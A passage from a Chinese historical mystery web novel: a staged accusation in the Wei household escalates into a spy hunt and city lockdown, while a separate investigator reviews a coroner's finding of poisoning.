“不可!”
魏九芙急急叫道,就在魏三夫人话音刚落的时刻。
张大夫人不解地看着她。
魏九芙近乎急得手脚打颤。
让那春雁回来,不就等同了告诉在场的所有人,今日之闹剧,皆由她一人所策划吗?
届时不说这桩婚约能不能保得住,只她在魏家,便再无容身之地了。
“永泰修律尔后……不是再不能私设刑狱了……吗?”
魏九芙良久才想出这样一个理由,她结结巴巴地道。
在首辅刘敬平主持的那次修律中,刘首辅首次提出“奴婢之权利”一词,他将《杂令·其三》中的“奴误主罚”更改为了“奴罪吏判”,这意味着奴婢犯了错,主人再也不能随便惩罚奴婢,而是要交由官府审判。
只是律法是一回事,大人老爷们的想法又是另一回事。
修改后的杂令并没有成功将审判权从老爷们的手里挪到官府手里,它只是将处置权从老爷们的手里挪到了办事的皂吏手里。
有时候甚至处置权也没有挪到办事的皂吏手里,正如同现在仍侍立在屋内手持木杖的仆从一样,至少在那个时候,魏三老爷是真的打算乱棍打死春雁。
张大夫人错愕地看着魏九芙。
似乎是没有想到竟然会是这样一个理由。
至少在他们燮州,还没有人敢拿着一卷杂令,因为一个或是几个奴婢的死,传唤张家的人上公堂,张大夫人几乎都快忘了还有这样一条律令。
“大伯正是入阁的关窍,旁的时候倒也罢了,现在私行刑狱,岂不是授人以柄?”仅用片刻,魏九芙便瞬间理清了前因后果,她端着一副忧心忡忡的样子,侃侃而谈道,“况且大姐姐这样的伤势,凶手必不可能是一个年轻丫鬟!”
魏九芙站起身来,模拟了一下行凶的动作。
“要勒出这样的伤势,凶手必是突然袭击一击得手,大姐姐来不及挣扎,故此伤势仅为一线之重,一线之外,少有痕迹。”
魏九芙走了两步,似思考着又顿了顿,后接着说道。
“伤势在偏上的位置,凶手应是一个高出大姐姐许多的、二十岁往上走的壮年男子,那年轻的丫鬟显然造不出这样的痕迹,这必是她的同伙!”
魏九芙情绪激动了起来,她三步并作两步走到魏三老爷身前,砰地一声跪下。
“宁损己以光门楣,毋徇私而隳祖业(注
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2),女儿实在是忧心伯父前程,故此失言,这并非是女儿无姊妹之情,苛对长姐!”
魏九芙砰砰磕了两个响头,继续义正言辞地说道。
“女儿恳请父亲彻查整个宅子,将那贱奴的同伙捉拿,交由官府审判!”
魏三老爷摩挲着手里的红宝石,他盯着魏九芙并不说话。
这炯炯的一番话说出来,端的是光明磊落薪火同忧,但魏三老爷总觉得这有些不对劲。
魏九芙的话实在是太多了。
她不应该有这么多的话要说。
不过这并不重要。
这犹疑仅起了一刻便被魏三老爷略了过去,他略一沉吟,而后缓缓说道:“这样的刁奴,夺宝于我家爱宠,构隙于我家姊妹,伤我爱女,乱我门庭,董管家——”
董管家立即出列。
“给我狠狠地查,就算是绝地三尺,也要把这罪奴给我……抓出来。”
屋外的雨更大了。
近乎是天河倒泻在潺潺的银湾水里,银湾不舍昼夜地奔腾着,带着江南一地百万众百姓的生命之水,涓涓汇入沧澜河中,尔后随着沧澜河一路汇集至乌苏江,奔腾不止,生生不息。
仆从们在雨中奔跑着。
董管家带着两行小厮,近乎要把整个魏家宅子,掀了个底朝天。
凡十八岁以上、身强力壮、今日在宅的男子,均被羁押下来,审问声混在雨声里。
魏九芙掰着指甲,心是一阵一阵地跳,她不安地望着魏三老爷,却不敢多说一个字,魏三老爷敛着眸子,手里盘着那枚红宝石,魏三夫人坐在他身边,瞧不出他的心思。
张大夫人让人请了大夫来。
大夫仔仔细细查看了魏兰蕴的伤势,欲言却又止住,仅开下几服药来,又叮嘱了几句,随后告辞离开了。
就在魏三老爷发话的一个时辰之后。
凶手找到了。
董管家押着一个二十岁出头的壮年男子走上了堂前。
形貌特征与魏九芙所说的分毫不差。
男子跪在地上,是一副视死如归的样子。
“这是马房的李三,那丫鬟的老相好,两个人指着卖些财物逃出府去,做一对野鸳鸯,盯上了狸奴的颈环,夺宝之时被大娘子撞见了,便伤了大娘子,李三怕娘子检举了自己,故此让那丫鬟在府里胡乱攀咬人,两人打算搅乱了宅里,然后趁乱逃出去。”
董管家将他调查出的真相娓娓道来。
“动私刑了吗?”魏三老爷问道。
董管家摇头:“没有,李三做了孽事,心虚得要命,只一审问,便什么都招了。”
“你这王八,先伤我猫,后伤我姐,真是该死!”魏九英咬牙切齿道,仆妇抱着她,她动弹不得,只能伸着脖子向里头望去,“爹爹!杀了他!杀了他!”
“送到县衙去,该怎么杀,怎么杀。”
魏三老爷再没多说一句话。
董管事还未向后走,那男子先顺从地转了头,他双手被反着绑在身后,绳子绑的并不紧,腕与腕之间还保有一寸的缝隙。
“等等。”
有道声音响起。
声音是沙哑粗糙的,就像被拔去了铃芯的银铃铛。
所有人都朝着声音的源头望去。
魏兰蕴坦然接受了所有人的目光,缓缓地、一字一句地说道。
“不,我觉得凶手不是他。”
15. 有雁去信(五)
“昔有稚子裂先祖画像为鸢,未延三载而门庭倾覆,凡我子孙,当戒嬉戏废学之害也(注1)。”
魏三老爷突然想起了这句话。
这句老太爷一直挂在嘴边,写在族训里的话。
这个女孩子未免也太不懂事了些,未尝习得族灭则身无所寄的道理。
覆巢之下,安有完卵,焚林之后,岂得独薪(注2)。
魏家势颓并不会给这个女孩子带来半点好处,这个道理家里的大人们应该早些教她。
可惜现在太晚了。
魏三老爷死死盯着魏兰蕴,手紧抓着红宝石,呼吸都变得急促了起来,魏三夫人更是心砰砰直跳,她倚着仆妇站着,脚底都在发软。
而魏九芙却突然有一种早有预料的松快之感。
她早就猜到了。
她这个养在祖父身边十年的大姐姐,从来就不是一个逆来顺受的人。
魏九芙见过她在群儒高坐的文会上侃侃而谈,也见过她在群贤毕至的诗会上独占胜场,魏兰蕴从前在家里沉稳少言,是因为从前家里并没有人敢给她半分颜色看。
她无需多言。
这并不代表她就是一个软弱可欺的人,相反,她这样一个面对儒道毫不怯场甚至还能辩赢三分的人,是家里最不好惹的人。
先前魏九芙自辩之时,还在担忧为何魏兰蕴一言不发,是否留有后手。
现在言语已矣。
魏九芙倒有一种心中的大石落下之感。
现在就要看看,魏兰蕴究竟想要些什么了。
魏九芙抓着魏兰蕴的手并没有松开,她复抬眼望向了魏兰蕴。
说破嘴的不如打臭拳的。
魏九芙是深知舟楫同沦的道理的,如果魏兰蕴非要折舟沉楫的话,她在必要的时候,也能当一回打臭拳的。
“我觉得凶手不是他。”魏兰蕴又重复了一遍,她轻飘飘撇过蓄势待发的魏九芙,望向那男子,缓缓地问道,“你既承认凶手是你,那你的同谋,叫什么名字?”
男子停滞一瞬,老实开口回答道:“红玉。”
“长得什么样子?”魏兰蕴又问。
“约莫五尺的身长,鹅蛋脸,细长眉。”男子浅看了一遍屋子里丫鬟的脸,接着回答道。
魏兰蕴问:“你用什么袭击的我?”
男子回答:“马房里换下来的缰绳。”
“你在哪里袭击的我?”
“北苑花房。”
“袭击时我在做什么?”
“花房选花。”
“袭击时你在做什么?”
“杀猫,猫叫声引来了你,我与红玉畏惧事情败露,故红玉先吸引你的注意,而我返回花房后的马房,取出缰绳,从背后袭击你。”
男子补充了许多细节,他说得游刃有余,仿佛置身处地。
“然后呢?”魏兰蕴继续问道。
“你晕倒在花圃,我和红玉怕这个地方很快被人发现,潜逃之后将我和红玉缉捕归案,故此红玉把猫扔在了正堂,我把红宝藏进你的院子里,我们以为将事情闹大,这样就可以掩盖掉一些别的细节,方便我们事后逃跑。”男子苦涩地说道。
“但是我们没有想到正堂结案如此之快,不过一个时辰红玉就被扭送去了县衙,事情是我们一起做的,红玉赴死,我也不独活,事已至此,要杀要剐随你们便!”他叫喊着,铁骨铮铮,像是从容就义的英雄。
“是这样吗?”魏兰蕴缓缓问道。
“是这样的。”男子斩钉截铁。
案件的真相似乎随着男子的话一步一步剥茧抽丝,浮出水面来,可是屋子里没几个人发自内心地表露出那种拨开浮云见日的轻松之感。
魏九芙的目光近乎是死死地扒在魏兰蕴身上,她不敢懈怠一瞬。
“可是你知道吗?”魏兰蕴顿了顿,接着说道,“那个丫鬟不叫红玉,她叫春雁。”
男子尚未反应,董管家率先大骇了起来。
魏三老爷忍不住朝着董管家皱了皱眉,心里却并不惊讶。
本就是找来的替罪羊,受害者不认你这个替罪羊,你便当不成这个替罪羊。
没有红玉,还会有红宝、红木、红柳。
编造而成的故事本就不堪一击,多得是说头可以找。
魏九芙已经紧张起来了,汗水顺着额角落下,她抓着魏兰蕴的手愈发收紧,魏兰蕴撇了她一眼,然后站起身来,魏九芙也跟着一道站起身来。
男子心里已经有些发虚了,他低垂着头,不敢直视魏兰蕴的目光。
魏兰蕴走了两步,站定在魏三老爷面前。
“三叔父。”她行了一个礼,伸出手来,“请让我看一看被夺之宝。”
魏三老爷盯着魏兰蕴打量了许久,他没有说话,复而伸手,将红宝石交在魏兰蕴手上。
魏兰蕴摩挲着这枚红宝石,透过雨洇的日光去看它。
这并不是一颗价值连城的宝物。
魏兰蕴能看得出来。
谁都能看得出来。
“你费了这么大的劲儿,就只为了,偷一个这样的东西吗?”
魏兰蕴笑出了声。
男子愣住了,汗水衔着雨水从他的头上话落,他似求助般朝董管家望了一眼,说不出话来,而魏兰蕴接着说话了。
“你说你见钱眼开,为了夺宝杀猫伤人,夺的却是一个送去典当铺子,五分银子都当不会来的东西,是你不识货,错把鱼目当了珍珠,还是有些什么……别的隐情?”
男子先是点头,后又摇头。
董管事悄然向后退了几步,敬观魏三老爷指令。
“你说你袭击人之后,怕事情败露,于是设下了一个缜密的局,挑拨我魏家姊妹关系,乱我魏家宅邸。”魏兰蕴顿了顿,接着说道,“你只是一个马房当差的,你是如何仔细知晓我家姊妹关系?还有理有据编了那样一番话出来,把我家夫人娘子皆绕了进去。”
“如果你想乱我宅邸,趁乱逃出去,你大可以放一把火出来,马房的草料多少你心中有数,你要是在马房点一把火,造成的乱局可不比今日小。”
“你说你是怕我检举你,于是袭击我,可是拖住目击者的方法也有很多种。”魏兰蕴抚摸着脖颈上的伤痕,缓缓说道,“这样重的伤势,简直是要置我于死地,我不过瞧见了你所述的二人杀猫,该罪谈何至此?”
“这件事……”
魏三老爷刚想开口,魏兰蕴却猛一扭头,打断他。
“三叔父!”魏兰蕴抑扬顿挫地说,“这件事根本不是一件寻常的仆盗欺主的案子,这是一件埋钉刺事、窥机盗密的案子。”
“什么?”魏三老爷愣住了。
“北苑除了花房、马房、还有书房。”魏兰蕴缓缓地说道,“丹州府内水系万千,这些水系经由西嘉丹平原,注入沧澜河,沧澜河又再汇入乌苏江。”
“沧澜河的流量占了乌苏江的六成以上,其中银湾水又足足占了沧澜江的五成。”
“春雨迟至,这意味着银湾水的两大补充来源,雨水与莱阳雪山融水都会减少,这势必会影响银湾及整个乌苏江南北的春耕及今年的粮食收获数量。”
“南扶闷热瘴多,自有耕地稀少,一直对我大梁虎视眈眈,若我大梁春籍无收,内乱丛生,这便是南扶撕开我大梁南防的绝好时机。”
魏兰蕴撇了魏三老爷一眼,再看向男子。
“我叔父正巧,今年领了统管南丹州三县农桑的差,他的书房,恰巧就有自正月以来三县降雨之量及银湾水流量的详细案卷。”
“你们不是在偷我魏家的红宝
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石,你们是在偷我大梁的红宝石。”
魏兰蕴轻声说道。
啪嗒一声。
魏三夫人手中的茶杯落了,碎了一地,她不敢置信地望着魏兰蕴,更不敢相信她刚刚听见了什么,只在片刻的怔愣后,魏三夫人近乎从椅子上跃起,她三两步冲上前去,抓住男子的衣领,大声吼道。
“你们好大的胆子!南扶细作!你们真是好大的胆子!被你掩护的那个细作哪里去了?带着我大梁的卷宗去哪里了!”
魏三夫人信了魏兰蕴的话。
魏大老爷还未起势之时,魏三夫人是真心实意地在三老爷上峰后宅中,汲营走动了一段时间,她至今忘不了那些神气的上峰夫人,昨日尚将她晾于门房两个时辰,今日便被锦衣卫抄了家,府中上下杀得人头滚滚,那罪名就是通敌叛国。
在这一件诡谲而摸不清头绪的杀猫案件中,凶手的位置就像击鼓传花一样,在府中众人的手里砰砰砰砰地转了一圈,最后转到了一个死局里。
似乎没有比魏兰蕴说的,更像是事情的真相。
对通敌叛国罪名的恐惧,几乎是驱使着魏三夫人往前走,她歇斯底里地喊着,仿佛下一秒,这间姓魏的宅子就会像那些姓李姓张的宅子一样,穿着飞鱼服的人走进来,然后杀得人头滚滚,鸡犬不留。
屋外的下人们议论纷纷惶恐不安。
男子更是大惊失色。
他没想到这样一桩简简单单拿命换钱的事儿,竟还能与投敌叛国牵扯上去,沾家事可活,惹国事必死,男子回头,无助地望着董管家,不知作何举动。
张大夫人却没再说话了。
她不动声色收回了捧着魏家茶盏的手,眯着眼睛扫视了一遍屋里众人,若有所思般拨动着腕间的玛瑙手钏,随后悄然收回了目光。
若要扯上这样的事情,这就不是她燮州府张家能沾染得了的了。
魏九芙皱紧了眉头。
她没有想到她这个寡言少语的大姐姐,不出口则矣,一出口则是一道震天的霹雳。
这下这件事情没有这么好收尾了。
至少在不吐出点真东西出来之前,是这样的。
屋子里乱成了一团。
魏三老爷恨铁不成钢地看了魏三夫人一眼,他也一样皱紧了眉头,万千思绪就像屋外的春雨一样纷纷扬扬钻入这个老练的老爷脑中,终于,他在一片乱象之中一锤定音。
“拿着我的名帖,去找刘县令。”魏三老爷说,“告诉他,我魏家发现了南扶细作,疑似窃官卷而逃,让他全城戒严,拔地三尺……给我搜!”
-
银湾城东西南三扇城门轰然闭合,衙门差役分列一十八纵队,披甲上街搜查。
坊市乱作一团。
贩夫闭摊,商户钉门,走卒拉着板车被横行的差役掀翻在地,富户李家的鎏金门环被拽得哐当作响,差役骤然冲进宅子里,吓得内院的女眷们打翻了染缸,靛蓝的汁液泼了满地满墙,一片狼藉。
整个银湾都变成了一片狼藉。
“外头怎么回事。”裴琚皱了皱眉。
骤然间外头脚步声、吵嚷声成倍地响起,合着淋漓的雨声混做一团,吵得他心烦。
“魏家老三说,发现了南扶细作,正搜查呢。”
崔九郎执着羽扇回答道。
“这里?”裴琚略一挑眉,“没粮没钱没矿,地势崎岖交通不便,南扶人来这做什么?”
他是战场上打天下的一把好手了。
银湾地险崎岖,非兵家要地,又不在两国相交之处,他若是掌控敌国谍网,不会费心思在这个地方安插暗谍。
不过魏家如何,银湾如何,他尚无暇去管。
裴琚只扫了外头一眼便收回了目光。
他现在还有更棘手的事情。
16. 有雁去信(六)
宝庆楼已经清了场。
球场、赌场、蹴鞠场统统都清了出去,裴琚最爱的那件和合如意矮榻,独摆放在宝庆楼的中央,矮榻四周空空荡荡,其上摆放着朱六郎的尸体。
仵作在验尸。
头发花白的老者领着一小徒,一手持刀一手执笔,热汗从老者的额角一颗一颗滚落,他用袖口胡乱一抹,刀笔不敢有片刻停息。
“锦衣卫那边什么动静?”裴琚看向崔九郎问道。
绅衿受他的威势所慑,跪拜三更至死。
这样一封奏本若是递呈至京都,必然会在言官御史中掀起轩然大波。
“丹州分舵没什么动作,似乎还没听见消息,张令褀还在兖州府主理三卫民变一事,你下南丹州之时,锦衣卫似乎为了避嫌,在丹州以南三县,撤走了所有的锦衣卫暗桩。”崔九郎回答道,“北丹州不撤,撤南丹州,一撤便正巧出了事,这还真是无巧不成书。”
人人皆知裴琚被罚至丹州思过,是当街与锦衣卫生了龃龉,若是裴琚在丹州出了什么坏事,锦衣卫自然要离得远远的,不然难免会占了几分徇私报复罗织构陷之嫌。
毕竟旧仇在前。
“确实挺巧的。”裴琚笑了一声。
随着最后一个字落下,仵作带着案卷忙不迭递呈至裴琚面前,他的手心里面都是黏腻的汗水,仵作不安地擦了擦手。
宝庆楼发生的事情他早有耳闻,众人皆道朱家郎君是叩拜至死,而他却验出了另外一个匪夷所思的结论,这要么是他技艺不精,要么就是——
“子时三刻,死于毒杀。”
裴琚接过案卷,直扫末行结语。
他并不惊讶。
“小人查验了郎君尸首,发现其颅腔内骨膜无血瘀,无充血、溢血之状,这并非颅脑受损致死,其死因必然与叩拜之举无关。”
“郎君尸首无钝器击打、穿刺之痕,亦无勒绞扼痕,胸腹无刃创,四肢无折损,唯有瞳仁散大,唇色乌紫,小人剖腹查验后发现,尸体胃壁溃烂穿孔,是以毒发至死,胃内蓄黑褐色秽液,其液滴入醋矾水后,水面泛绿沫,另取肝血涂于犬舌,犬即狂吠抽搐,由此判断,毒应为地锦草混曼陀罗花所制。”
“尸身指节蜷曲,掌心有抓痕,此似毒发时痛极自伤,依尸僵程度及胃内容物推断,郎君毙命,约在子时前后。”
仵作一五一十地回答道。
崔九郎看了一眼卷宗,见卷宗完整,无甚错漏疑问,便挥了挥手,示意仵作离开:“行了,你下去吧。”
仵作离开之后,崔九郎继续说道:“看来是没什么问题,三份卷宗,大差不差。”
他抬手丢出另两封卷宗。
在这个仵作之前,还有两个已经验过尸了。
“这三人的背景调查了吗?”裴琚问道。
虎贲军首领侍立在一旁,听裴琚问,他立刻回答道:“已俱验过,三人皆不相识,亲戚之间,并无关联。”
虎贲军是秦王麾下亲兵。
王孙至银湾时,秦王遣中营擅卫者十五护卫王孙,后朱郎暴毙,秦王再次差遣西营擅刑案之人十二、北营擅防者十六,赴银湾相助裴琚。
“毒发前后,可有注意过谁接近了朱六郎?”
崔九郎撇了一眼躲在墙角中瑟瑟发抖的绿袍男,绿袍男害怕极了,自他一脚踏出朱六郎死相之后,他便一直躲在墙角,以袍掩头瑟瑟而不敢出。
寻常毒药自服用到毒发约莫一个时辰,罕见些的也几乎不超过三个时辰,朱六郎自日昳叩拜,至死时已过四个时辰不止,最有可能的便是叩拜中有人接近了他,令他服毒而死,亦或者是他自己服毒而死。
只是自戮……
崔九郎想不到什么理由,能令他陡然自戮。
“他是丑时约莫二刻的时候,醉酒误踏在朱六郎身上,才发现朱六郎已死。”虎贲军首领先是指着绿袍男回答,继而又复述当日楼里情况,“子时楼中酒意尚浓,王孙殿下都痛饮好几大杯,卑职们只顾护卫殿下,确实未尝注意楼下谁人接近朱六郎。”
夜本就深,人易困乏,加之楼中酒气正盛,虎贲军们一心拱卫王孙,谁又能想到楼下一个粗莽无礼的纨绔子,会引发如此轩然大波。
在外探查虎贲军回来了。
他们双手作揖,单膝跪地于裴琚面前说道:“禀报世子殿下,卑职探银湾一十二家药铺,三家余地锦草,八家余曼陀罗,盘账对库皆无错漏。”
“自正月始至今日,共有三百二十一张方剂取用曼陀罗花,十一张取用地锦草,丹方共涉二百八十八人,用量地草二钱,曼陀罗花一斤二两。”
这剂量并不致死。
地草和曼陀罗都是寻常药材,单用无碍,合用也只会造成腹痛不适。
“若要致人死亡,起码要足足十斤的地草与曼陀罗合炼在一起,凝成浓浓的一小瓶,一次灌入,才可成事。”虎贲军带来了个银湾的药铺大夫,大夫仔细解答着。
“周边县域呢?”裴琚继续问道。
崔九郎摘下信鸽腿上的信,递给裴琚:“已让崔氏麾下查验,周边津井、右襄、宁富望均无甚异常,唯有一地有疑,该地前日、昨日连起火两场,火烧西庄半间,那烧掉的半间屋子里,正好放着足足一车的地锦草与曼陀罗。”
“什么地方?”裴琚立刻问道。
“清水潭,徐重家老宅。”崔九郎顿了顿,继续说道,“还有一件很巧的事情,有一个人,这两场大火烧起来的时候,她正好就在场,而朱六郎死的时候,她也正好,从清水潭赶回了银湾。”
“谁?”
“魏家大娘子,魏兰蕴。”
裴琚皱了皱眉,他似乎没有想到会是这样的一个名字,他思考着,手指敲击在木质桌面上,发出有节律的咚咚声。
裴琚本无意让朱六郎叩拜,朱六郎因惧叩拜,他其实也无甚在意,若这朱家郎真是因威势所慑叩拜至死,他裴琚也不是不敢当这罪名,只是现在……
“查不出真相又能怎么样?”秦王孙坐在一边听着,只觉得脑子转不过弯来,他双手挠头,随后死猪不怕开水烫般说道,“反正尸体在我们手里,我们说他的死因是什么,他的死因就是什么。”
小王孙说着,挑了个台几上趁手的铜摆件,在手里抛了抛,走向朱六郎。
“我给他脑门上来上一下,就说他是这个绿毛一脚踏死的,又能怎样?反正这个绿毛踩也踩了,落到他身上也不亏!”
绿袍郎吓得大骇,他一骨碌滚着爬向秦王孙,还不待他开口求饶,裴琚先说话了。
“算了。”裴琚说,“已经晚了。”
崔九郎沿着裴琚的目光看去。
一辆马车停在了宝庆楼门口,马车是急赶到的,骖马低首疲惫地喘着粗气,一位贵妇人从马车上下来,她哀痛欲绝,泪流满面,径直走向楼中盖了白布的尸首,放声大哭。
“我的儿啊!你死得好惨啊!”
这就是朱六郎的母亲,六环水朱家的,朱二夫人。
-
银湾城戒严了足足两个时辰。
这个深入腹地的蕞尔小邑,自梁太祖建立坊市废止宵禁之后,它的东西南三扇城门就从未闭合过,而今天,这些洞开了百余年的大门关上了,还整整关上了两个时辰。
县衙檐角的铜铃是最先察觉天光老去的。
日光不知何时
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与云雨氤氲成了一块,天空灰扑扑的,继而黑蒙蒙的,廊下点起了灯笼,铜铃叮铃铃的,它们在黑色的雨中冷得发颤。
一行、两行、三行的差役出去了复又回来,他们举着浸满桐油的火把,一趟、两趟、三趟,拿着籍贯文书,一户一户地在银湾的大街小巷里盘查。
驻地无籍之人整整抓了七十八个,狭小的县衙牢房里挤挤攘攘,近乎无落脚之地。
县衙之内。
魏三老爷与县尊端坐正堂,他们冷着一张脸,一言不发,张大夫人原本坐列下首,且听差役来报,随着所谓嫌疑之人接二连三被捕,银湾入了夜了,夜不露容,门不纳生,张大夫人虽是当家的女眷,夜晚独滞在外,还是有些许不便,故而揖让拜别。
魏三夫人是急坏了的,自令信发出伊始,她便马不停蹄地跟随三老爷来到了县衙,魏三夫人坐在正堂后边的西厢里,她紧张得拽进了手帕,伏听差役来报,魏九芙就坐在她的身侧。
魏兰蕴也在县衙。
但魏兰蕴并不坐在西厢。
她独自一人站在正堂朝东的抱厦里,抱厦修的是直棂的推窗,明纸糊的窗户前是一方池塘,雨在池塘上砸出细密的涟漪,鱼翻起了尾巴。
从窗户向前看,正好能瞧见县衙大门的一线,那线地方架了只三尺宽的鼓,鼓是件经年没有人用过的物件了,架子发了霉,鼓顶上落了一层灰,蜘蛛在灰上结网。
有个老妇被差役抓了进来。
她太老了,肌肤像堆砌的树皮一样挂在脸上,她佝偻着,被差役带着踉跄地往前走着,这是一个不被儿女供养的老妇,常年被儿女踢皮球似的踢来踢去,她是没有银湾户籍的,差役说她通敌叛国要押着她走去,她听成了桶底饭锅乐呵呵就跟着走去。
这是最后一个嫌疑犯了。
喘着粗气的差役匆匆前来禀报,甫一说完,魏三老爷便悠悠地叹着气,说道:“家纪不言,让睿才兄见笑了。”
“哪里哪里。”刘县尊摆手推辞,“职责所在,分内之事罢了,旨望我朝海清河晏,边关太平无事,伯兴兄大道坦途,雄才壮志,浩浩乎实现一番抱负才好。”
两个老爷拱手寒暄,继而又周旋揖让了一番,魏三老爷便背着手朝外走去。
西厢房的烛火幽幽,魏三老爷大步走进了东抱厦。
魏兰蕴背对着魏三老爷,她与窗景一起站在窗边,宛若一幅精致的仕女画。
“好玩吗?”
魏三老爷本想微笑,开口却成了咬着牙、恨恨地、一字一句地说道。
“怎么会不好玩呢?”魏兰蕴倒是发自内心的微笑,她毫不掩饰,近乎是嘲讽而挑衅地说,“高高在上的老爷夫人,被一番话耍的团团转,这怎么会不好玩呢?”
魏三老爷手里掐着麻核桃,他忽的噗嗤笑出了声。
“你说你要盖高堂,我就伐檀林、烧黄壤,我帮你把这堂盖得比天高、比命长。”
你说他是投敌叛国,你说他还尚有同党,那我便为你推一把,我让这城门关了张,我让这衙门升了堂,我让这全城的妇孺老幼都下了大狱,来陪你清缴这敌国乱党。
这把火烧的好似那山火旺,蠢货却还得意洋洋。
她以为她的计谋天衣无缝,殊不知命运的馈赠早已在暗中标好了价码(注1)。
事情闹到这个地步,已经不是抓个阿猫阿狗来,都可以随便收场的。
叛国的罪不是随便判的,叛国的人也不是随便杀的,事情总要有一个交代,拿不出通敌叛国的真凭实据来,那总要拿出一些别的东西来。
调皮的孩子会受到惩罚。
区区的一个孩子,还没有资格能威胁他。
17. 有雁去信(七)
扬汤止沸,不如去薪,溃痈虽痛,胜于养毒(注1),让这把火烧的更旺一些,几乎是魏兰蕴说完那番话后,魏三老爷霎时的决定。
这么多年来,魏家算不上对魏兰蕴有多好,对其母是更为恶劣,魏兰蕴本就应该有怨在心,魏三夫人一番陵轹之举尔后,这份本就嵌刻心底的怨恨只会多不会少。
魏三老爷起初并不在意。
因为在他看来,一个女子,还是一个年轻的女子,所有的智慧、头脑、能力、格局不过在那内宅的方寸之间,就算这个女子心中有怨,就算这个女子怨入骨髓切齿拊心,那也恰如蚍蜉撼大树一般,动摇不了他分毫。
蚁恨象行,象岂知蚁?
弱者对强者的怨恨,根本无法对强者造成任何实质性的损伤。
魏三老爷起初是这样认为的。
可出乎他意料的是,这个弱者并没有他想象中的那么弱小,她竟然有几分头脑。
她竟然可以因势利导转危为安,将他们付诸在她身上的陵轹之举变成尖刀,又刺回了他们自己,她竟可以用一道小小的淤伤,让整个宅子都陪她演戏,她竟可以编出一番冠冕堂皇的话语,把他们搭好的戏台子架上去。
红宝石,红宝石,魏家的红宝石,大梁的红宝石,戏台子架得硙硙若磐石,架得他魏叔礼是左支右绌跋前疐后,进退若顽石。
被魏三老爷视作蚍蜉蚁虫般的弱者,竟然摇身一变,变成了悬于魏三老爷脖颈之上的利刃,这是魏三老爷所不能允许的,也是魏三老爷所不能接受的。
深含着怨恨的魏兰蕴对魏家来说,恰如同沸汤痛痈,与其徐徐图之,不如不破不立,她既然要拿着这道伤,烧起这把火,那不如就让这把火烧的更旺一些。
烧到赤烧虏云炎蒸塞空,烧到熔金铄石焦烟灼浪。
烧到整件事情再没有办法轻而易举地收场,烧到点起这把火的人引火烧身,烧到痛痈断绝沸汤焙干,方能让这高悬于魏三老爷脖颈上的利剑刀折矢尽。
魏三老爷走到了魏兰蕴身旁。
东抱厦依托地势多修高了两阶,林径山水自抱厦往外依次铺叠,直棂式样的推窗洞开,窗外是一览无余的美景,魏三老爷啧啧欣赏着这别具巧思的园林景观,一语双关地说道:“我还以为你站在这里,是为了看得更清楚些。”
“看得清楚的,不用站在这里也清楚,看不清楚的,就算站在这里也看不清楚。”魏兰蕴淡淡道,她反问魏三老爷,“难道不是吗?”
“也是。”魏三老爷冷笑一声,“清楚与否总是由人而不由物的,聪明人看得出来的东西,蠢货是看不出来的。”
“这与目力还是有些许关系的,目力好的人极目远眺也能看清楚百米分毫,目力不佳的人观在咫尺也难辨数目一二,还是总有些唯物而不唯心的地方在的。”魏兰蕴认真地说道。
“目力佳与不佳也好,是唯物还是唯心也好,现在左不过都不重要了。”魏三老爷顿了顿,直接开门见山地说道,“这把火烧的这般旺,现在交不出放火要烧的人,可就只能交出烧出这把火的人了。”
“火?”魏兰蕴似乎很疑惑,她眼睛瞪大了,微张了唇,眸子左右一扫,声音都有些不稳,“哪来的火?今夜雨下的这么大,哪里还能起了火?”
“银湾封城,差吏拿人,囹圄人烟稠密,这哪一项……”
不是烧起来的火?
魏三老爷话说到一半,忽的顿住了,他先是疑惑,尔后不可置信地看着魏兰蕴。
直到听见魏兰蕴说道:“左不过高上了一二级阶梯,看得见的不站在这也能看见,看不见的站在这儿也看不见,池塘后边那假山叠着的景儿,不就站不站这儿都看不见。”
魏三老爷只觉得自己有些可笑。
他还以为这个支戏台子指鹿为马的女孩子,算得上有几分小聪明。
现在看来竟然是瞎猫撞上了死耗子。
方才他以为跟魏兰蕴唇枪舌剑交锋的一下,原来竟是他自己在自作多情。
他在聊窗外的景物,这个蠢货就真的以为他在聊景物,居然就跟着他聊景物,他竟然还被这个蠢货带着一起聊景物,真是——
太可笑了。
魏三老爷笑出了声来,他清了清嗓子,正想顺着来龙去脉,跟这个女孩子理一理事情的利害关系的时候,魏兰蕴却又开口了。
“三老爷现在一定觉得我是个蠢货是吗?”魏兰蕴也笑出了声,她笑到胸腹前倾,肩膀抖动,拔掉铃芯的银铃铛在摇曳,魏兰蕴继续说道,“助薪焚栋,反诘其燔,顺风纵燎,问罪举火,这样的道理,我知道。”
“你知道你为何还在……”
魏三老爷疑惑极了,一口气陡然梗在喉咙,上不去也下不来。
魏兰蕴继续说道:“我只是想知道,在三老爷眼里,我究竟可以有多蠢。”
魏兰蕴是真的想知道,她在这些人的眼里,究竟蠢到什么地步,才会让他们如此蔑视,如此折辱。
那个女孩子被他们无端地谋杀,无端地像牲畜一样被欺侮,她在清水潭受了这样多的苦楚,回家之后,哪怕得不到一份公平与正义,但起码要得到一份解释,亦或者是安抚。
可是没有,她什么都没有。
魏兰蕴一直在等,等一个人过来,说一番权衡利弊亦或是胡编乱造的解释,造一份虚情假意亦或是漫不经心的安抚。
可是一个也没有。
他们甚至连奴仆也没有遣一个过来。
他们沉默不语。
他们没人把她放在眼里。
“三老爷知道吗?我能走到这里来,跟您说上一句话,究竟费了多大的劲儿吗?”魏兰蕴转头,她望着魏三老爷,一字一句地说道。
“什么?”魏三老爷没听懂魏兰蕴的话。
魏兰蕴没有解释,她又问道:“魏三老爷知道我是怎么从徐家离开的吗?”
魏三老爷皱眉。
怎么从徐家出来?
还能怎么出来?
无非就是他大发了善心,将她从徐家那豺狼窝里接了回来。
虽然他大发善心的前提是那份署错了名的报纸,但魏三老爷从没质疑过这点,而他也一直坚信,魏兰蕴能从清水潭全须全尾地回来,靠的就是这一点。
“我本来应该在你来的前一天晚上被勒死,但幸好,我不是一个蠢货,我拖延了一会儿时间。”魏兰蕴娓娓地道,“没有威严的主母压不住阖府的奴仆,徐家妯娌不和的丑闻,早在他们下人的嘴里,被漏成了筛子。”
“我被关在羊圈的时候,听说了徐家妯娌的矛盾,于是我借由羊肉,给徐家的二夫人下了一点药,我成功了,她病倒了。”
“她病倒之后,这样阴私隐蔽的事情,只能换一个徐家的人主持,那就是徐家的大夫人。”
“我还是下了一点药。”
“我在他们新做的羊油蜡烛里面加了一点东西,于是蜡烛爆炸了,大火烧的冲天响,徐
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家乱了,乱则生变。”
